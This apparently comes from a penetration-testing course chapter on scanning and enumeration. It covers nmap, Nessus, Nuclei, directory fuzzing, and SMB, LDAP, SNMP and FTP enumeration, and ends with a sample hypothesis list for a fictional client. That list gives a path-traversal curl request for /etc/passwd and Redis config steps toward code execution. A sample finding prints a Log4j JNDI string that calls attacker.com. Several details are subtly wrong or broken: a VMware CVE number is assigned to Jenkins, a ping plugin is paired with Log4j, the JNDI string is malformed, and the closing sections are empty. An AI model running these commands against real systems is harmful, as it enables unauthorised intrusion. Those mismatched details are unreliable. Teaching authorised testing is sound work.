Scanning and Enumeration

Reconnaissance told you what exists — scanning tells you what is running on it and whether it is vulnerable. Scanning is active reconnaissance: you send packets to target systems and interpret their responses. This phase is detectable. A blue team with decent network monitoring will see your nmap scan within minutes. That is why you do recon first, confirm scope, then scan deliberately rather than spraying everything at once.

The goal of scanning and enumeration is a vulnerability hypothesis list: for each discovered service, a prioritised list of "this version may be vulnerable to X, test it." That list drives Phase 3 (exploitation) and keeps the engagement structured rather than opportunistic.

nmap — The Industry-Standard Port Scanner

nmap (Network Mapper) is the tool every security professional uses for port scanning. Understanding its scan types, timing, and output options is fundamental knowledge for both pentesters and defenders who need to understand what attackers see.

# ━━ HOST DISCOVERY ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Ping sweep — find live hosts before scanning ports
nmap -sn 192.168.1.0/24
# -sn: no port scan, just host discovery (ICMP echo + TCP SYN to 443 + ACK to 80)
# Output: which IPs are up, MAC addresses on local network

# Disable ping (for hosts that block ICMP)
nmap -Pn 192.168.1.10
# Assumes host is up and scans anyway — slower, more noise


# ━━ PORT SCAN TYPES ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# SYN scan (default, requires root) — "half open"
nmap -sS 192.168.1.10
# Sends SYN, receives SYN-ACK (open) or RST (closed)
# Does NOT complete TCP handshake → less likely to appear in application logs
# Firewall still logs it, but web server access log won't

# Connect scan (no root required)
nmap -sT 192.168.1.10
# Completes full TCP handshake — more reliable but louder
# Appears in application logs

# UDP scan — slow but finds DNS (53), SNMP (161), TFTP (69), NTP (123)
nmap -sU 192.168.1.10
# UDP is connectionless — nmap sends packets and waits; ICMP port unreachable = closed

# NULL / FIN / Xmas scans — firewall evasion (limited effectiveness)
nmap -sN 192.168.1.10   # NULL: no flags set
nmap -sF 192.168.1.10   # FIN: only FIN flag
nmap -sX 192.168.1.10   # Xmas: FIN + PSH + URG flags
# Open ports ignore these; closed ports send RST
# Some firewalls that block SYN scans pass these (RFC-compliant hosts only)


# ━━ PRACTICAL SCANNING WORKFLOW ━━━━━━━━━━━━━━━━━━━━━━━━

# Step 1: Fast scan — top 1000 ports to get quick picture
nmap -F --open 192.168.1.10

# Step 2: Full port scan — all 65535 ports (slow but thorough)
nmap -p- --open -T4 192.168.1.10

# Step 3: Targeted deep scan on discovered open ports
nmap -sV -sC -p 22,80,443,8080,8443,3306 192.168.1.10
# -sV: version detection (banner grabbing)
# -sC: default scripts (runs safe NSE scripts for each service)

# Full professional scan (combine all):
nmap -sV -sC -p- -T4 --open -oA scan_results 192.168.1.10
# -oA: save output in all formats (nmap, grepable, XML)


# ━━ TIMING TEMPLATES ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# -T0: Paranoid — 5 min between probes (IDS evasion)
# -T1: Sneaky — 15 sec between probes
# -T2: Polite — 0.4 sec between probes
# -T3: Normal — default
# -T4: Aggressive — 10ms timeout, good for fast networks
# -T5: Insane — can miss open ports, can crash services — avoid on production


# ━━ NSE SCRIPTS — NMAP SCRIPTING ENGINE ━━━━━━━━━━━━━━━━

# Run script categories:
nmap --script=safe 192.168.1.10        # safe scripts only
nmap --script=vuln 192.168.1.10        # vulnerability detection
nmap --script=auth 192.168.1.10        # auth bypass and default creds
nmap --script=brute 192.168.1.10       # brute force (careful on production)

# Service-specific scripts:
nmap --script=smb-vuln-ms17-010 192.168.1.10   # EternalBlue (MS17-010)
nmap --script=smb-enum-shares,smb-enum-users 192.168.1.10
nmap --script=mysql-info,mysql-empty-password -p 3306 192.168.1.10
nmap --script=ssh-auth-methods -p 22 192.168.1.10
nmap --script=http-title,http-headers -p 80,443,8080 192.168.1.10

Service Fingerprinting — Reading Banners

Version detection (-sV) is how nmap identifies what software is running on a port. It works by sending service-specific probes and comparing responses against its probe database. The result — "Apache httpd 2.4.49" or "OpenSSH 7.4" — is the primary input to vulnerability lookup.

# Banner grabbing — manual version of what nmap -sV does automatically
nc -nv 192.168.1.10 22        # SSH banner
nc -nv 192.168.1.10 25        # SMTP banner
nc -nv 192.168.1.10 80        # HTTP — send "HEAD / HTTP/1.0

"

# curl for web services
curl -I https://target.com    # HTTP headers including Server:
curl -s https://target.com | grep -i "version|powered|generator"

# openssl for TLS details
openssl s_client -connect target.com:443 -brief
# Shows: certificate details, cipher suite, TLS version
# TLS 1.0/1.1 support = reportable finding; weak ciphers = reportable finding

# After identifying versions — check against vulnerability databases:
# searchsploit (local ExploitDB copy):
searchsploit "Apache 2.4.49"
searchsploit "OpenSSH 7.4"

# Online:
# vulners.com — comprehensive vulnerability search
# nvd.nist.gov — NVD CVE search
# exploit-db.com — actual exploit code
# packetstormsecurity.com — exploits and tools

Vulnerability Scanning — Nessus and Nuclei

Automated vulnerability scanners send targeted probes to detect known vulnerabilities — they go beyond port/version detection to actively test whether specific CVEs are present.

Nessus (Tenable) is the industry standard. Nessus Essentials is free for up to 16 IPs. Professional licenses ($3,000+/year) cover unlimited IPs. It has over 175,000 plugins covering CVEs, misconfigurations, and compliance checks.

# Nessus workflow (GUI-based, CLI via API):
# 1. Create a new scan → Basic Network Scan or Advanced Scan
# 2. Targets: IP range or hostname list
# 3. Credentials: provide SSH/Windows credentials for authenticated scan
#    (authenticated scans find 4–5x more vulnerabilities than unauthenticated)
# 4. Run scan → review findings by severity

# Nessus finding format:
# Plugin: 10180 - Ping Remote Host
# CVE:    CVE-2021-44228
# CVSS:   10.0 (Critical)
# Synopsis: The remote host is running Log4j with a critical RCE vulnerability
# Solution:  Upgrade Log4j to 2.16.0 or later
# Output:    JNDI lookup confirmed vulnerable: {jndi:ldap://attacker.com/a{'}'}


# Nuclei — fast, template-based scanner (open source, preferred for pentesting)
# 9,000+ templates covering CVEs, misconfigs, exposed panels, default creds

# Basic scan:
nuclei -u https://target.com

# Severity filtering:
nuclei -u https://target.com -severity critical,high

# Scan multiple targets:
nuclei -list targets.txt -severity critical,high,medium

# Specific template categories:
nuclei -u https://target.com -tags cve              # CVE templates only
nuclei -u https://target.com -tags default-login    # default credentials
nuclei -u https://target.com -tags misconfig        # misconfigurations
nuclei -u https://target.com -tags exposed-panels   # admin panels, dashboards

# Custom rate limiting (be careful with production):
nuclei -u https://target.com -rate-limit 50 -bulk-size 25

# Output to file:
nuclei -u https://target.com -o nuclei_results.txt -json

The critical distinction: vulnerability scanners report potential vulnerabilities based on version matching and probe responses. Manual verification is always required. A Nessus finding of "Apache 2.4.49 detected — CVE-2021-41773 (path traversal/RCE)" needs to be manually confirmed by attempting the exploit, because the server may have been patched at the OS level without an Apache version update.

Web Application Enumeration

After identifying web services, systematic enumeration finds hidden directories, files, parameters, and virtual hosts that are not linked from the main application but are still accessible.

# Directory and file brute force
# gobuster — fast, concurrent, Go-based
gobuster dir -u https://target.com   -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt   -t 50   -x php,html,txt,bak,conf   -o gobuster_results.txt

# ffuf — flexible fuzzing tool (also excellent for params and subdomains)
ffuf -u https://target.com/FUZZ   -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt   -mc 200,201,204,301,302,307,403   -o ffuf_results.json

# feroxbuster — recursive directory scanning
feroxbuster -u https://target.com --depth 3 -t 100

# Key SecLists wordlists for web enumeration:
# /Discovery/Web-Content/raft-medium-directories.txt  — directories
# /Discovery/Web-Content/raft-medium-files.txt        — files
# /Discovery/Web-Content/common.txt                   — common paths (quick)
# /Discovery/Web-Content/api/api-endpoints.txt        — API paths


# API endpoint discovery
# Many APIs follow common patterns:
ffuf -u https://api.target.com/FUZZ   -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt   -H "Content-Type: application/json"   -mc 200,201,400,401,403,405   # include 401/403 — they confirm endpoint exists

# Parameter fuzzing — find hidden parameters
# arjun — HTTP parameter discovery
arjun -u https://target.com/api/search

# Backup file hunting — developers leave these accidentally
# Common patterns:
# index.php.bak, config.php~, settings.py.old, web.config.bak
ffuf -u https://target.com/FUZZ   -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt   -mc 200   -fc 404

# Virtual host enumeration — different applications on same IP
gobuster vhost -u https://192.168.1.10   -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt   --append-domain

Service-Specific Enumeration

Each discovered service requires targeted enumeration beyond what a port scan reveals. The following covers the most commonly encountered services in professional engagements.

SMB (Windows File Sharing — Port 445)

# Check for anonymous access
smbclient -L //192.168.1.10 -N         # -N = no password
smbclient //192.168.1.10/SHARE -N      # connect to specific share

# Enumerate shares, users, groups, policies
enum4linux -a 192.168.1.10
enum4linux-ng -A 192.168.1.10          # updated version

# With credentials:
smbmap -H 192.168.1.10 -u username -p password

# Check for EternalBlue (MS17-010) — 2017 but still found regularly
nmap --script smb-vuln-ms17-010 192.168.1.10

# CrackMapExec — Swiss Army knife for SMB/AD
crackmapexec smb 192.168.1.0/24        # discover SMB hosts
crackmapexec smb 192.168.1.10 -u user -p pass --shares  # enum shares
crackmapexec smb 192.168.1.10 -u user -p pass --users   # enum AD users

LDAP / Active Directory (Port 389, 636)

# Anonymous LDAP bind — often allowed, reveals AD structure
ldapsearch -x -H ldap://192.168.1.10 -b "DC=corp,DC=local"

# Authenticated LDAP enumeration
ldapsearch -x -H ldap://192.168.1.10   -D "CN=user,DC=corp,DC=local"   -w password   -b "DC=corp,DC=local"   "(objectClass=user)" sAMAccountName mail memberOf

# BloodHound data collection (after getting AD credentials)
# SharpHound — run on domain-joined Windows:
SharpHound.exe -c All --outputdirectory C:	emp
# BloodHound.py — run from Linux with credentials:
bloodhound-python -u username -p password   -d corp.local -ns 192.168.1.10   -c all --zip

SNMP (Port 161 UDP)

# SNMP community string brute force — "public" and "private" are common defaults
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 192.168.1.10

# SNMP walk — extract all OID data with known community string
snmpwalk -v2c -c public 192.168.1.10
# Returns: running processes, network interfaces, routing table,
#          installed software, open ports, user accounts (on some systems)

# Specific OIDs:
snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.25.4.2.1.2  # running processes
snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.25.6.3.1.2  # installed software

FTP (Port 21)

# Check anonymous login
ftp 192.168.1.10
# Username: anonymous
# Password: (anything or empty)
# If successful: list and download files with get/mget

nmap --script ftp-anon 192.168.1.10   # automated anonymous check
nmap --script ftp-brute --script-args brute.firstonly=true -p 21 192.168.1.10

Building the Vulnerability Hypothesis List

Everything gathered in scanning flows into a structured hypothesis list that guides exploitation. This is the handoff document from Phase 2 to Phase 3.

VULNERABILITY HYPOTHESIS LIST — AcmeCorp Assessment
Generated: 2026-05-01

━━ PRIORITY 1 — HIGH CONFIDENCE, HIGH IMPACT ━━━━━━━━━━━━━

[VH-001] Apache 2.4.49 Path Traversal + RCE — CVE-2021-41773
  Host:       old.acmecorp.com (203.0.113.50)
  Port:       80/tcp
  Evidence:   Server: Apache/2.4.49 header confirmed
  CVSS:       9.8 Critical
  Test:       curl http://old.acmecorp.com/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
  Notes:      Requires mod_cgi enabled for RCE; path traversal may work regardless

[VH-002] Jenkins 2.289 Unauthenticated RCE — CVE-2021-21985
  Host:       jenkins.acmecorp.com (203.0.113.55)
  Port:       8080/tcp
  Evidence:   Jenkins 2.289 confirmed via /login page version footer
  CVSS:       9.8 Critical
  Test:       Nuclei template: exposed-panels/jenkins/jenkins-panel.yaml
              Then script console RCE if unauth access

[VH-003] Anonymous SMB Read Access
  Host:       192.168.1.20
  Port:       445/tcp
  Evidence:   enum4linux shows SHARE$ accessible without credentials
  CVSS:       7.5 High
  Test:       smbclient //192.168.1.20/SHARE -N → list and download files

━━ PRIORITY 2 — MEDIUM CONFIDENCE OR IMPACT ━━━━━━━━━━━━━━

[VH-004] Redis Unauthenticated Access
  Host:       192.168.1.25
  Port:       6379/tcp
  Evidence:   nmap: Redis key-value store (no auth detected)
  CVSS:       7.5 High
  Test:       redis-cli -h 192.168.1.25 INFO → CONFIG GET bind → RCE via
              config set dir + config set dbfilename + BGSAVE

[VH-005] SNMP Community String "public" Active
  Host:       192.168.1.1 (router)
  Port:       161/udp
  Evidence:   onesixtyone found community "public"
  CVSS:       5.3 Medium
  Test:       snmpwalk — extract running config, connected hosts, routing table

━━ MANUAL TESTING REQUIRED — WEB APPLICATION ━━━━━━━━━━━━

[VH-006] staging.acmecorp.com — Reduced Security Controls
  Host:       staging.acmecorp.com (198.51.100.10)
  Evidence:   Basic auth only, no WAF, different Apache version (2.4.51)
  Tests:      Full OWASP Top 10 manual testing: SQLi, XSS, IDOR, auth bypass
              Gobuster directory enum, API endpoint discovery

Interview Questions — Scanning and Enumeration

Common Mistakes — Scanning and Enumeration